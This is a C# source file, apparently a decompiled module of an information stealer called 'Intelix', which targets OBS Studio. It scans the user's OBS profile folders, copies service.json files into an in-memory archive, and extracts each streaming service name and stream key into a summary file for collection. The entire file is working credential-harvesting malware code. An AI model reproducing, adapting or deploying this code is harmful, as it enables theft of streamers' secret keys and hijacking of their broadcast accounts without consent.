using System;
using System.Collections.Concurrent;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using Intelix.Helper.Data;

namespace Intelix.Targets.Applications;

public class Obs : ITarget
{
	private static readonly Regex SettingsRe = new Regex("\"settings\"\\s*:\\s*\\{(?<s>.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline);

	private static readonly Regex ServiceRe = new Regex("\"service\"\\s*:\\s*\"(?<v>[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline);

	private static readonly Regex KeyRe = new Regex("\"key\"\\s*:\\s*\"(?<v>[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline);

	public void Collect(InMemoryZip zip, Counter counter)
	{
		string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "obs-studio", "basic", "profiles");
		if (!Directory.Exists(path))
		{
			return;
		}
		string[] jsonFiles = new string[2] { "service.json", "service.json.bak" };
		ConcurrentBag<string> infoLines = new ConcurrentBag<string>();
		string[] directories = Directory.GetDirectories(path);
		if (directories.Length == 0)
		{
			return;
		}
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "OBS";
		Parallel.ForEach(directories, delegate(string profileDir)
		{
			string text2 = Path.GetFileName(profileDir) ?? profileDir;
			string[] array = jsonFiles;
			foreach (string text3 in array)
			{
				string text4 = Path.Combine(profileDir, text3);
				if (File.Exists(text4))
				{
					string text5 = File.ReadAllText(text4, Encoding.UTF8);
					string text6 = "OBS\\" + text2 + "\\" + text3;
					zip.AddFile(text6, File.ReadAllBytes(text4));
					counterApplications.Files.Add(text4 + " => " + text6);
					Match match = SettingsRe.Match(text5);
					string input = (match.Success ? match.Groups["s"].Value : text5);
					string value = ServiceRe.Match(input).Groups["v"].Value;
					string value2 = KeyRe.Match(input).Groups["v"].Value;
					if (!string.IsNullOrEmpty(value) || !string.IsNullOrEmpty(value2))
					{
						infoLines.Add("Profile:" + text2 + " | File:" + text3 + " | Service:" + value + " | Key:" + value2);
					}
				}
			}
		});
		if (infoLines.Any())
		{
			string text = "OBS\\OBS_ServiceKeys.txt";
			zip.AddTextFile(text, string.Join(Environment.NewLine, infoLines));
			counterApplications.Files.Add(text);
		}
		if (counterApplications.Files.Count > 0)
		{
			counter.Applications.Add(counterApplications);
		}
	}
}